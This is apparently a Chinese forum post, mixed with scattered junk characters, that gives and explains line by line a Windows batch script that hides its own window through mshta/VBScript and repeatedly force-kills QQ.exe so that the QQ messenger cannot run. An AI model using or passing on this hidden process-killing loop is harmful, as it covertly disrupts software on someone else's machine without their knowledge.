|
|
|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。 8 [+ [, ~/ d& n9 y" u7 x
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
( v' p$ d& Z! t: Z9 l. _7 c- D2 o0 `$ V/ D0 |4 x: ]+ }8 D
@echo off 6 Z, O7 j9 Z3 X% c% Z6 m
if "%1" == "h" goto begin K! u% l, N0 c% l9 g0 s% m, K7 A( ~
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
7 L5 h( o: P* ?8 L( S:begin ' y1 E G; w7 [& l2 V
tasklist |find /i "QQ.exe" . k" n( l6 O s9 E; F9 {' M) \
if %errorlevel%==0 (goto killit) else (goto next)
* z. Z ?9 L5 W E:killit * N4 f$ T* Z; p
taskkill /f /im QQ.exe ; o. y5 `, }8 r) Q) }" r z
:next 9 q. R; K: o' P" m8 g! R
ping -n 3 127.t >nul 2>nul
, B, f; d. L8 J0 ugoto begin # P% p6 a [+ P; x7 r2 c- ]
* S! S9 m% t3 E) V, l代码到此为止 6 ?( q' U4 v0 x
讲解如下: 9 g+ g( ^! r" T5 E9 \
@echo off ------关闭回显
# Q- H5 Y2 w( B4 hif "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
0 r) m3 p" E. }" j7 `mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码 2 k# U" ]% b; I$ {2 E5 k6 v
:begin ------------定一段名begin
0 t" w$ j6 t0 [& X$ O8 v$ {tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe * G8 f5 x( b; N" U4 M
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next * c; K4 E! Z; o4 y+ v* [/ d' Z3 S: s
:killit
4 w4 [' S+ A4 vtaskkill /f /im QQ.exe----终结进程QQ.exe
/ B" y1 E7 x! P; C' I:next : ?& P5 Y: I+ y( K3 g v
ping -n 3 127.t >nul 2>nul -----延迟一段时间
* |& D7 Q2 K: I/ S8 [goto begin--------------返回执行begin/ y4 t; p; y6 s1 I V" p
|
|